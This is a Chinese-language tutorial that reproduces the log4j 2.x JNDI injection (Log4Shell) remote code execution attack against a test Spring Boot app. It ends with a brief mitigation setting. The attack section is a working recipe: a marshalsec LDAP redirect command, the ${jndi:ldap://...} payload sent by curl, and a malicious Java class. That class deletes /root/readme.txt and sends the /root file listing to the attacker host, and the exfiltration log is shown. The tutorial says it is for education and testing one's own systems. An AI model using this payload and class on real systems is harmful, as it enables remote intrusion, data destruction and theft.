关于log4j2远程代码执行漏洞详细复现过程

log4j-2远程代码执行漏洞是因为log4j的版本中存在jndi(JAVA Naming and Directory Interface)注入漏洞，jndi注入是利用的动态类加载机制完成攻击的，当程序将用户输入的数据进行日志记录时，即可触发此漏洞。注意是log4j-2.x的版本，本文演示使用2.14.1。

如果在应用中使用了如log.info等一些输出用户录入的内容就可能遭到攻击者的攻击，这种将请求日志log出来的场景并不少见，比如和一些第三方系统对接的时候，在联调或试运行阶段会将请求的报文信息完整输出到日志。

摘取一个gitee上的代码样例

• 漏洞场景

举个例子，jianshu-Application这个服务用来提供给用户修改个人简介的，如图

• 漏洞重现案例的几个角色

角色

应用名

说明

被攻击者

jianshu-application

这个是被攻击的服务器（使用了log4j-core-2.14.1），
假设提供了个人简介的修改功能

攻击者

marshalsec-0.0.3-SNAPSHOT

开源纯Java写的一个工具，将数据转换为代码执行

攻击者

Python/ target=_blank class=infotextkey>Python-httpserver

简单模拟一个httpserver用来给被攻击者远程加载恶意class

大致流程如下 ①、攻击者输入恶意信息后提交，${jndi:ldap://ldap.mixfate.com:9999}，当然这个ldap地址被攻击者服务器中的应用可以访问到； ②、被攻击者应用通过log.info打印恶意的输入信息后，发现日志内容中包含关键词 ${，那么这个里面包含的内容会当做变量来进行替换执行，连接到marshalsec ldap.mixfate.com:9999； ③、此时marshalsec将重定向到httpserver load.mixfate.com:8888； ④、重定向到class下载地址下载并加载Hacker.class； ⑤、执行Hacker.class中的恶意代码；

可以看到依赖重要的开源工具marshalsec，https://Github.com/mbechler/marshalsec.git

免责声明（仅用于学习或测试自有系统）

DisclAImer All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities. 2、漏洞重现步骤

现在我们模拟一下这个jianshu-application这个应用被攻击，并被删除掉服务器上的/root/readme.txt文件；

机器名

说明

ip

机器A(jianshu)

被攻击者

192.168.80.136

机器B(hacker)

攻击者

192.168.80.133

两台机器均安装上jdk-1.8.0_151

java version "1.8.0_151" Java(TM) SE Runtime Environment (build 1.8.0_151-b12) Java HotSpot(TM) 64-Bit Server VM (build 25.151-b12, mixed mode)

• 步骤1、机器A(jianshu)上运行被攻击端jianshu应用（简化代码仅作重现参考）

简单起见直接使用 spring-boot启动一个web应用，开放一个入口模拟修改个人简介，由于spring-boot默认使用 logback 作为应用日志框架，所以为了模拟攻击过程将依赖排除掉，使用log4j-2.14.1版本记录日志。

jianshu模拟应用配置如下（使用spring-boot-2.5.7，特别注意需要排除默认使用的日志，不然无法模拟）

pom.xml

JianshuAplication.java

模拟的修改个人简介功能非常简单，一个put请求将intro参数提交即可，注意通过url传参数的话需要使用urlencode后传输，使用mvn clean package 打包好应用上传，并直接在机器A(jianshu)的服务器部署运行即可java -jar jianshu-0.0.1-SNAPSHOT.jar，作为被攻击的机器就已经准备好了，可通过curl -X PUT http://192.168.80.136:8080/settings?intro=hacker-ha-ha-ha访问测试。

此时在机器A(jianshu)，ip192.168.80.136上的准备工作就完成了。

• 步骤2、机器B(hacker)上运行marshalsec/httpserver

① 下装并编译运行marshalsec工具，这是一个纯java写的将数据转换为可执行代码工具，github地址https://github.com/mbechler/marshalsec.git，直接使用maven编译源码mvn clean package -DskipTests，将编译后的应用包marshalsec-0.0.3-SNAPSHOT-all.jar上传到机器B(hacker)上运行java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.80.133:8888/#Hacker" 9999。

这一步的目的是在Hacker机器B上开启ldap服务，机器A中的应用参数intro如果定义为${jndi:ldap://192.168.80.133:9999/Hacker} ，则可访问到这个ldap服务，而参数"http://192.168.80.133:8888/#Hacker表示将请求重定向到此地址远程加载类Hacker，当然实际上ldap和放Hacker.class的httpserver服务器不需要放同一台机器。

② 编写Hacker类如下

import java.io.File; import java.util.Arrays; import java.util.stream.Collectors; class Hacker { static { System.err.println("Hacker hahaha"); try { Runtime.getRuntime().exec("rm -rf /root/readme.txt"); File dir = new File("/root"); Runtime.getRuntime().exec("curl http://192.168.80.133:8888/" + Arrays.stream(dir.listFiles()).map(File::getName).collect(Collectors.joining(","))); } catch (Exception e) { e.printStackTrace(); } } }

这个Hacker恶意代码把机器A上的文件/root/readme.txt删除了，并且将/root目录下的文件文件名发送到攻击者的机器上。编译好Hacker.class放到一个新建的目录/www中。

③ 机器B新开一个命令窗口，进入到/www目录中，使用命令python -m SimpleHTTPServer 8888启动一个简单的httpserver，启动后使用浏览器访问http://192.168.80.133:8888/Hacker.class正常会提示下载类文件，保证jianshu服务器能从这个地址下载类即可。

参数${jndi:ldap://192.168.80.133:9999/Hacker}通过urlencode后为%24%7Bjndi%3Aldap%3A%2F%2F192.168.80.133%3A9999%2FHacker%7D 访问修改个人简介进行攻击 curl -X PUT http://192.168.80.136:8080/settings?intro=%24%7Bjndi%3Aldap%3A%2F%2F192.168.80.133%3A9999%2FHacker%7D

此时python的httpserver日志可以看到以下输出

"GET /.bash_logout,.bash_profile,.bashrc,.cshrc,.tcshrc,anaconda-ks.cfg,.bash_history,jdk-8u151-linux-x64.tar.gz,jdk1.8.0_151,.oracle_jre_usage,jianshu-0.0.1-SNAPSHOT.jar HTTP/1.1" 404 -

Hacker机器上列出了jianshu机器/root目录下的文件，说明已经成功了。

3、漏洞修复

具体的漏洞修复建议可参考一些官方的推荐做法，一种临时的改动是设置JVM启动参数-Dlog4j2.formatMsgNoLookups=true，此参数判断是否执行lookups。

打开MessagePatternConverter的源码查看

在构造方法中初始化了参数noLookups

在常量中定义了默认值